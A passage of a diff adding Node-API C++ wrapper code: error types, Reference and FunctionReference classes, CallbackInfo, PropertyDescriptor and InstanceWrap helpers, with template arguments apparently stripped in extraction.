{ + return Error::New( + env, message, std::strlen(message), napi_create_type_error); +} + +inline TypeError TypeError::New(napi_env env, const std::string& message) { + return Error::New( + env, message.c_str(), message.size(), napi_create_type_error); +} + +inline TypeError::TypeError() : Error() {} + +inline TypeError::TypeError(napi_env env, napi_value value) + : Error(env, value) {} + +inline RangeError RangeError::New(napi_env env, const char* message) { + return Error::New( + env, message, std::strlen(message), napi_create_range_error); +} + +inline RangeError RangeError::New(napi_env env, const std::string& message) { + return Error::New( + env, message.c_str(), message.size(), napi_create_range_error); +} + +inline RangeError::RangeError() : Error() {} + +inline RangeError::RangeError(napi_env env, napi_value value) + : Error(env, value) {} + +//////////////////////////////////////////////////////////////////////////////// +// Reference class +//////////////////////////////////////////////////////////////////////////////// + +template +inline Reference Reference::New(const T& value, + uint32_t initialRefcount) { + napi_env env = value.Env(); + napi_value val = value; + + if (val == nullptr) { + return Reference(env, nullptr); + } + + napi_ref ref; + napi_status status = napi_create_reference(env, value, initialRefcount, &ref); + NAPI_THROW_IF_FAILED(env, status, Reference()); + + return Reference(env, ref); +} + +template +inline Reference::Reference() + : _env(nullptr), _ref(nullptr), _suppressDestruct(false) {} + +template +inline Reference::Reference(napi_env env, napi_ref ref) + : _env(env), _ref(ref), _suppressDestruct(false) {} + +template +inline Reference::~Reference() { + if (_ref != nullptr) { + if (!_suppressDestruct) { + napi_delete_reference(_env, _ref); + } + + _ref = nullptr; + } +} + +template +inline Reference::Reference(Reference&& other) + : _env(other._env), + _ref(other._ref), + _suppressDestruct(other._suppressDestruct) { + other._env = nullptr; + other._ref = nullptr; + other._suppressDestruct = false; +} + +template +inline Reference& Reference::operator=(Reference&& other) { + Reset(); + _env = other._env; + _ref = other._ref; + _suppressDestruct = other._suppressDestruct; + other._env = nullptr; + other._ref = nullptr; + other._suppressDestruct = false; + return *this; +} + +template +inline Reference::Reference(const Reference& other) + : _env(other._env), _ref(nullptr), _suppressDestruct(false) { + HandleScope scope(_env); + + napi_value value = other.Value(); + if (value != nullptr) { + // Copying is a limited scenario (currently only used for Error object) and + // always creates a strong reference to the given value even if the incoming + // reference is weak. + napi_status status = napi_create_reference(_env, value, 1, &_ref); + NAPI_FATAL_IF_FAILED( + status, "Reference::Reference", "napi_create_reference"); + } +} + +template +inline Reference::operator napi_ref() const { + return _ref; +} + +template +inline bool Reference::operator==(const Reference& other) const { + HandleScope scope(_env); + return this->Value().StrictEquals(other.Value()); +} + +template +inline bool Reference::operator!=(const Reference& other) const { + return !this->operator==(other); +} + +template +inline Napi::Env Reference::Env() const { + return Napi::Env(_env); +} + +template +inline bool Reference::IsEmpty() const { + return _ref == nullptr; +} + +template +inline T Reference::Value() const { + if (_ref == nullptr) { + return T(_env, nullptr); + } + + napi_value value; + napi_status status = napi_get_reference_value(_env, _ref, &value); + NAPI_THROW_IF_FAILED(_env, status, T()); + return T(_env, value); +} + +template +inline uint32_t Reference::Ref() const { + uint32_t result; + napi_status status = napi_reference_ref(_env, _ref, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +template +inline uint32_t Reference::Unref() const { + uint32_t result; + napi_status status = napi_reference_unref(_env, _ref, &result); + NAPI_THROW_IF_FAILED(_env, status, 0); + return result; +} + +template +inline void Reference::Reset() { + if (_ref != nullptr) { + napi_status status = napi_delete_reference(_env, _ref); + NAPI_THROW_IF_FAILED_VOID(_env, status); + _ref = nullptr; + } +} + +template +inline void Reference::Reset(const T& value, uint32_t refcount) { + Reset(); + _env = value.Env(); + + napi_value val = value; + if (val != nullptr) { + napi_status status = napi_create_reference(_env, value, refcount, &_ref); + NAPI_THROW_IF_FAILED_VOID(_env, status); + } +} + +template +inline void Reference::SuppressDestruct() { + _suppressDestruct = true; +} + +template +inline Reference Weak(T value) { + return Reference::New(value, 0); +} + +inline ObjectReference Weak(Object value) { + return Reference::New(value, 0); +} + +inline FunctionReference Weak(Function value) { + return Reference::New(value, 0); +} + +template +inline Reference Persistent(T value) { + return Reference::New(value, 1); +} + +inline ObjectReference Persistent(Object value) { + return Reference::New(value, 1); +} + +inline FunctionReference Persistent(Function value) { + return Reference::New(value, 1); +} + +//////////////////////////////////////////////////////////////////////////////// +// ObjectReference class +//////////////////////////////////////////////////////////////////////////////// + +inline ObjectReference::ObjectReference() : Reference() {} + +inline ObjectReference::ObjectReference(napi_env env, napi_ref ref) + : Reference(env, ref) {} + +inline ObjectReference::ObjectReference(Reference&& other) + : Reference(std::move(other)) {} + +inline ObjectReference& ObjectReference::operator=(Reference&& other) { + static_cast*>(this)->operator=(std::move(other)); + return *this; +} + +inline ObjectReference::ObjectReference(ObjectReference&& other) + : Reference(std::move(other)) {} + +inline ObjectReference& ObjectReference::operator=(ObjectReference&& other) { + static_cast*>(this)->operator=(std::move(other)); + return *this; +} + +inline ObjectReference::ObjectReference(const ObjectReference& other) + : Reference(other) {} + +inline MaybeOrValue ObjectReference::Get( + const char* utf8name) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Get(utf8name); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue ObjectReference::Get( + const std::string& utf8name) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Get(utf8name); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue ObjectReference::Set(const char* utf8name, + napi_value value) const { + HandleScope scope(_env); + return Value().Set(utf8name, value); +} + +inline MaybeOrValue ObjectReference::Set(const char* utf8name, + Napi::Value value) const { + HandleScope scope(_env); + return Value().Set(utf8name, value); +} + +inline MaybeOrValue ObjectReference::Set(const char* utf8name, + const char* utf8value) const { + HandleScope scope(_env); + return Value().Set(utf8name, utf8value); +} + +inline MaybeOrValue ObjectReference::Set(const char* utf8name, + bool boolValue) const { + HandleScope scope(_env); + return Value().Set(utf8name, boolValue); +} + +inline MaybeOrValue ObjectReference::Set(const char* utf8name, + double numberValue) const { + HandleScope scope(_env); + return Value().Set(utf8name, numberValue); +} + +inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, + napi_value value) const { + HandleScope scope(_env); + return Value().Set(utf8name, value); +} + +inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, + Napi::Value value) const { + HandleScope scope(_env); + return Value().Set(utf8name, value); +} + +inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, + std::string& utf8value) const { + HandleScope scope(_env); + return Value().Set(utf8name, utf8value); +} + +inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, + bool boolValue) const { + HandleScope scope(_env); + return Value().Set(utf8name, boolValue); +} + +inline MaybeOrValue ObjectReference::Set(const std::string& utf8name, + double numberValue) const { + HandleScope scope(_env); + return Value().Set(utf8name, numberValue); +} + +inline MaybeOrValue ObjectReference::Get(uint32_t index) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Get(index); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue ObjectReference::Set(uint32_t index, + napi_value value) const { + HandleScope scope(_env); + return Value().Set(index, value); +} + +inline MaybeOrValue ObjectReference::Set(uint32_t index, + Napi::Value value) const { + HandleScope scope(_env); + return Value().Set(index, value); +} + +inline MaybeOrValue ObjectReference::Set(uint32_t index, + const char* utf8value) const { + HandleScope scope(_env); + return Value().Set(index, utf8value); +} + +inline MaybeOrValue ObjectReference::Set( + uint32_t index, const std::string& utf8value) const { + HandleScope scope(_env); + return Value().Set(index, utf8value); +} + +inline MaybeOrValue ObjectReference::Set(uint32_t index, + bool boolValue) const { + HandleScope scope(_env); + return Value().Set(index, boolValue); +} + +inline MaybeOrValue ObjectReference::Set(uint32_t index, + double numberValue) const { + HandleScope scope(_env); + return Value().Set(index, numberValue); +} + +//////////////////////////////////////////////////////////////////////////////// +// FunctionReference class +//////////////////////////////////////////////////////////////////////////////// + +inline FunctionReference::FunctionReference() : Reference() {} + +inline FunctionReference::FunctionReference(napi_env env, napi_ref ref) + : Reference(env, ref) {} + +inline FunctionReference::FunctionReference(Reference&& other) + : Reference(std::move(other)) {} + +inline FunctionReference& FunctionReference::operator=( + Reference&& other) { + static_cast*>(this)->operator=(std::move(other)); + return *this; +} + +inline FunctionReference::FunctionReference(FunctionReference&& other) + : Reference(std::move(other)) {} + +inline FunctionReference& FunctionReference::operator=( + FunctionReference&& other) { + static_cast*>(this)->operator=(std::move(other)); + return *this; +} + +inline MaybeOrValue FunctionReference::operator()( + const std::initializer_list& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value()(args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::Call( + const std::initializer_list& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Call(args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::Call( + const std::vector& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Call(args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::Call( + napi_value recv, const std::initializer_list& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Call(recv, args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::Call( + napi_value recv, const std::vector& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Call(recv, args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::Call( + napi_value recv, size_t argc, const napi_value* args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().Call(recv, argc, args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::MakeCallback( + napi_value recv, + const std::initializer_list& args, + napi_async_context context) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().MakeCallback(recv, args, context); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::MakeCallback( + napi_value recv, + const std::vector& args, + napi_async_context context) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().MakeCallback(recv, args, context); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::MakeCallback( + napi_value recv, + size_t argc, + const napi_value* args, + napi_async_context context) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = + Value().MakeCallback(recv, argc, args, context); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap())); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Value(); + } + return scope.Escape(result); +#endif +} + +inline MaybeOrValue FunctionReference::New( + const std::initializer_list& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().New(args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap()).As()); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Object(); + } + return scope.Escape(result).As(); +#endif +} + +inline MaybeOrValue FunctionReference::New( + const std::vector& args) const { + EscapableHandleScope scope(_env); + MaybeOrValue result = Value().New(args); +#ifdef NODE_ADDON_API_ENABLE_MAYBE + if (result.IsJust()) { + return Just(scope.Escape(result.Unwrap()).As()); + } + return result; +#else + if (scope.Env().IsExceptionPending()) { + return Object(); + } + return scope.Escape(result).As(); +#endif +} + +//////////////////////////////////////////////////////////////////////////////// +// CallbackInfo class +//////////////////////////////////////////////////////////////////////////////// + +inline CallbackInfo::CallbackInfo(napi_env env, napi_callback_info info) + : _env(env), + _info(info), + _this(nullptr), + _dynamicArgs(nullptr), + _data(nullptr) { + _argc = _staticArgCount; + _argv = _staticArgs; + napi_status status = + napi_get_cb_info(env, info, &_argc, _argv, &_this, &_data); + NAPI_THROW_IF_FAILED_VOID(_env, status); + + if (_argc > _staticArgCount) { + // Use either a fixed-size array (on the stack) or a dynamically-allocated + // array (on the heap) depending on the number of args. + _dynamicArgs = new napi_value[_argc]; + _argv = _dynamicArgs; + + status = napi_get_cb_info(env, info, &_argc, _argv, nullptr, nullptr); + NAPI_THROW_IF_FAILED_VOID(_env, status); + } +} + +inline CallbackInfo::~CallbackInfo() { + if (_dynamicArgs != nullptr) { + delete[] _dynamicArgs; + } +} + +inline CallbackInfo::operator napi_callback_info() const { + return _info; +} + +inline Value CallbackInfo::NewTarget() const { + napi_value newTarget; + napi_status status = napi_get_new_target(_env, _info, &newTarget); + NAPI_THROW_IF_FAILED(_env, status, Value()); + return Value(_env, newTarget); +} + +inline bool CallbackInfo::IsConstructCall() const { + return !NewTarget().IsEmpty(); +} + +inline Napi::Env CallbackInfo::Env() const { + return Napi::Env(_env); +} + +inline size_t CallbackInfo::Length() const { + return _argc; +} + +inline const Value CallbackInfo::operator[](size_t index) const { + return index < _argc ? Value(_env, _argv[index]) : Env().Undefined(); +} + +inline Value CallbackInfo::This() const { + if (_this == nullptr) { + return Env().Undefined(); + } + return Object(_env, _this); +} + +inline void* CallbackInfo::Data() const { + return _data; +} + +inline void CallbackInfo::SetData(void* data) { + _data = data; +} + +//////////////////////////////////////////////////////////////////////////////// +// PropertyDescriptor class +//////////////////////////////////////////////////////////////////////////////// + +template +PropertyDescriptor PropertyDescriptor::Accessor( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + + desc.utf8name = utf8name; + desc.getter = details::TemplatedCallback; + desc.attributes = attributes; + desc.data = data; + + return desc; +} + +template +PropertyDescriptor PropertyDescriptor::Accessor( + const std::string& utf8name, + napi_property_attributes attributes, + void* data) { + return Accessor(utf8name.c_str(), attributes, data); +} + +template +PropertyDescriptor PropertyDescriptor::Accessor( + Name name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + + desc.name = name; + desc.getter = details::TemplatedCallback; + desc.attributes = attributes; + desc.data = data; + + return desc; +} + +template +PropertyDescriptor PropertyDescriptor::Accessor( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + + desc.utf8name = utf8name; + desc.getter = details::TemplatedCallback; + desc.setter = details::TemplatedVoidCallback; + desc.attributes = attributes; + desc.data = data; + + return desc; +} + +template +PropertyDescriptor PropertyDescriptor::Accessor( + const std::string& utf8name, + napi_property_attributes attributes, + void* data) { + return Accessor(utf8name.c_str(), attributes, data); +} + +template +PropertyDescriptor PropertyDescriptor::Accessor( + Name name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + + desc.name = name; + desc.getter = details::TemplatedCallback; + desc.setter = details::TemplatedVoidCallback; + desc.attributes = attributes; + desc.data = data; + + return desc; +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Napi::Env env, + Napi::Object object, + const char* utf8name, + Getter getter, + napi_property_attributes attributes, + void* data) { + using CbData = details::CallbackData; + auto callbackData = new CbData({getter, data}); + + napi_status status = AttachData(env, object, callbackData); + if (status != napi_ok) { + delete callbackData; + NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); + } + + return PropertyDescriptor({utf8name, + nullptr, + nullptr, + CbData::Wrapper, + nullptr, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Napi::Env env, + Napi::Object object, + const std::string& utf8name, + Getter getter, + napi_property_attributes attributes, + void* data) { + return Accessor(env, object, utf8name.c_str(), getter, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Napi::Env env, + Napi::Object object, + Name name, + Getter getter, + napi_property_attributes attributes, + void* data) { + using CbData = details::CallbackData; + auto callbackData = new CbData({getter, data}); + + napi_status status = AttachData(env, object, callbackData); + if (status != napi_ok) { + delete callbackData; + NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); + } + + return PropertyDescriptor({nullptr, + name, + nullptr, + CbData::Wrapper, + nullptr, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Napi::Env env, + Napi::Object object, + const char* utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* data) { + using CbData = details::AccessorCallbackData; + auto callbackData = new CbData({getter, setter, data}); + + napi_status status = AttachData(env, object, callbackData); + if (status != napi_ok) { + delete callbackData; + NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); + } + + return PropertyDescriptor({utf8name, + nullptr, + nullptr, + CbData::GetterWrapper, + CbData::SetterWrapper, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Napi::Env env, + Napi::Object object, + const std::string& utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* data) { + return Accessor( + env, object, utf8name.c_str(), getter, setter, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Napi::Env env, + Napi::Object object, + Name name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* data) { + using CbData = details::AccessorCallbackData; + auto callbackData = new CbData({getter, setter, data}); + + napi_status status = AttachData(env, object, callbackData); + if (status != napi_ok) { + delete callbackData; + NAPI_THROW_IF_FAILED(env, status, napi_property_descriptor()); + } + + return PropertyDescriptor({nullptr, + name, + nullptr, + CbData::GetterWrapper, + CbData::SetterWrapper, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + Napi::Env env, + Napi::Object /*object*/, + const char* utf8name, + Callable cb, + napi_property_attributes attributes, + void* data) { + return PropertyDescriptor({utf8name, + nullptr, + nullptr, + nullptr, + nullptr, + Napi::Function::New(env, cb, utf8name, data), + attributes, + nullptr}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + Napi::Env env, + Napi::Object object, + const std::string& utf8name, + Callable cb, + napi_property_attributes attributes, + void* data) { + return Function(env, object, utf8name.c_str(), cb, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + Napi::Env env, + Napi::Object /*object*/, + Name name, + Callable cb, + napi_property_attributes attributes, + void* data) { + return PropertyDescriptor({nullptr, + name, + nullptr, + nullptr, + nullptr, + Napi::Function::New(env, cb, nullptr, data), + attributes, + nullptr}); +} + +inline PropertyDescriptor PropertyDescriptor::Value( + const char* utf8name, + napi_value value, + napi_property_attributes attributes) { + return PropertyDescriptor({utf8name, + nullptr, + nullptr, + nullptr, + nullptr, + value, + attributes, + nullptr}); +} + +inline PropertyDescriptor PropertyDescriptor::Value( + const std::string& utf8name, + napi_value value, + napi_property_attributes attributes) { + return Value(utf8name.c_str(), value, attributes); +} + +inline PropertyDescriptor PropertyDescriptor::Value( + napi_value name, napi_value value, napi_property_attributes attributes) { + return PropertyDescriptor( + {nullptr, name, nullptr, nullptr, nullptr, value, attributes, nullptr}); +} + +inline PropertyDescriptor PropertyDescriptor::Value( + Name name, Napi::Value value, napi_property_attributes attributes) { + napi_value nameValue = name; + napi_value valueValue = value; + return PropertyDescriptor::Value(nameValue, valueValue, attributes); +} + +inline PropertyDescriptor::PropertyDescriptor(napi_property_descriptor desc) + : _desc(desc) {} + +inline PropertyDescriptor::operator napi_property_descriptor&() { + return _desc; +} + +inline PropertyDescriptor::operator const napi_property_descriptor&() const { + return _desc; +} + +//////////////////////////////////////////////////////////////////////////////// +// InstanceWrap class +//////////////////////////////////////////////////////////////////////////////// + +template +inline void InstanceWrap::AttachPropData( + napi_env env, napi_value value, const napi_property_descriptor* prop) { + napi_status status; + if (!(prop->attributes & napi_static)) { + if (prop->method == T::InstanceVoidMethodCallbackWrapper) { + status = Napi::details::AttachData( + env, value, static_cast(prop->data)); + NAPI_THROW_IF_FAILED_VOID(env, status); + } else if (prop->method == T::InstanceMethodCallbackWrapper) { + status = Napi::details::AttachData( + env, value, static_cast(prop->data)); + NAPI_THROW_IF_FAILED_VOID(env, status); + } else if (prop->getter == T::InstanceGetterCallbackWrapper || + prop->setter == T::InstanceSetterCallbackWrapper) { + status = Napi::details::AttachData( + env, value, static_cast(prop->data)); + NAPI_THROW_IF_FAILED_VOID(env, status); + } + } +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + const char* utf8name, + InstanceVoidMethodCallback method, + napi_property_attributes attributes, + void* data) { + InstanceVoidMethodCallbackData* callbackData = + new InstanceVoidMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = T::InstanceVoidMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + const char* utf8name, + InstanceMethodCallback method, + napi_property_attributes attributes, + void* data) { + InstanceMethodCallbackData* callbackData = + new InstanceMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = T::InstanceMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + Symbol name, + InstanceVoidMethodCallback method, + napi_property_attributes attributes, + void* data) { + InstanceVoidMethodCallbackData* callbackData = + new InstanceVoidMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = T::InstanceVoidMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + Symbol name, + InstanceMethodCallback method, + napi_property_attributes attributes, + void* data) { + InstanceMethodCallbackData* callbackData = + new InstanceMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = T::InstanceMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = attributes; + return desc; +} + +template +template ::InstanceVoidMethodCallback method> +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = details::TemplatedInstanceVoidCallback; + desc.data = data; + desc.attributes = attributes; + return desc; +} + +template +template ::InstanceMethodCallback method> +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = details::TemplatedInstanceCallback; + desc.data = data; + desc.attributes = attributes; + return desc; +} + +template +template ::InstanceVoidMethodCallback method> +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + Symbol name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = details::TemplatedInstanceVoidCallback; + desc.data = data; + desc.attributes = attributes; + return desc; +} + +template +template ::InstanceMethodCallback method> +inline ClassPropertyDescriptor InstanceWrap::InstanceMethod( + Symbol name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = details::TemplatedInstanceCallback; + desc.data = data; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( + const char* utf8name, + InstanceGetterCallback getter, + InstanceSetterCallback setter, + napi_property_attributes attributes, + void* data) { + InstanceAccessorCallbackData* callbackData = + new InstanceAccessorCallbackData({getter, setter, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.getter = getter != nullptr ? T::InstanceGetterCallbackWrapper : nullptr; + desc.setter = setter != nullptr ? T::InstanceSetterCallbackWrapper : nullptr; + desc.data = callbackData; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( + Symbol name, + InstanceGetterCallback getter, + InstanceSetterCallback setter, + napi_property_attributes attributes, + void* data) { + InstanceAccessorCallbackData* callbackData = + new InstanceAccessorCallbackData({getter, setter, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.getter = getter != nullptr ? T::InstanceGetterCallbackWrapper : nullptr; + desc.setter = setter != nullptr ? T::InstanceSetterCallbackWrapper : nullptr; + desc.data = callbackData; + desc.attributes = attributes; + return desc; +} + +template +template ::InstanceGetterCallback getter, + typename InstanceWrap::InstanceSetterCallback setter> +inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.getter = details::TemplatedInstanceCallback; + desc.setter = This::WrapSetter(This::SetterTag()); + desc.data = data; + desc.attributes = attributes; + return desc; +} + +template +template ::InstanceGetterCallback getter, + typename InstanceWrap::InstanceSetterCallback setter> +inline ClassPropertyDescriptor InstanceWrap::InstanceAccessor( + Symbol name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.getter = details::TemplatedInstanceCallback; + desc.setter = This::WrapSetter(This::SetterTag()); + desc.data = data; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceValue( + const char* utf8name, + Napi::Value value, + napi_property_attributes attributes) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.value = value; + desc.attributes = attributes; + return desc; +} + +template +inline ClassPropertyDescriptor InstanceWrap::InstanceValue( + Symbol name, Napi::Value value, napi_property_attributes attributes) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.value = value; + desc.attributes = attributes; + return desc; +} + +template +inline napi_value InstanceWrap::InstanceVoidMethodCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + InstanceVoidMethodCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + T* instance = T::Unwrap(callbackInfo.This().As()); + auto cb = callbackData->callback; + (instance->*cb)(callbackInfo); + return nullptr; + }); +} + +template +inline napi_value InstanceWrap::InstanceMethodCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + InstanceMethodCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + T* instance = T::Unwrap(callbackInfo.This().As()); + auto cb = callbackData->callback; + return (instance->*cb)(callbackInfo); + }); +} + +template +inline napi_value InstanceWrap::InstanceGetterCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + InstanceAccessorCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + T* instance = T::Unwrap(callbackInfo.This().As()); + auto cb = callbackData->getterCallback; + return (instance->*cb)(callbackInfo); + }); +} + +template +inline napi_value InstanceWrap::InstanceSetterCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + InstanceAccessorCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + T* instance = T::Unwrap(callbackInfo.This().As()); + auto cb = callbackData->setterCallback; + (instance->*cb)(callbackInfo, callbackInfo[0]); + return nullptr; + }); +} + +template +template ::InstanceSetterCallback method> +inline napi_value InstanceWrap::WrappedMethod( + napi_env env, napi_callback_info info) NAPI_NOEXCEPT { + return details::WrapCallback([&] { + const CallbackInfo cbInfo(env, info); + T* instance = T::Unwrap(cbInfo.This().As()); + (instance->*method)(cbInfo, cbInfo[0]); + return nullptr; + }); +} + +//////////////////////////////////////////////////////////////////////////////// +// ObjectWrap class +//////////////////////////////////////////////////////////////////////////////// + +template +inline ObjectWrap::ObjectWrap(const Napi::CallbackInfo& callbackInfo) { + napi_env env = callbackInfo.Env(); + napi_value wrapper = callbackInfo.This(); + napi_status status; + napi_ref ref; + T* instance = static_cast(this); + status = napi_wrap(env, wrapper, instance, FinalizeCallback, nullptr, &ref); + NAPI_THROW_IF_FAILED_VOID(env, status); + + Reference* instanceRef = instance; + *instanceRef = Reference(env, ref); +} + +template +inline 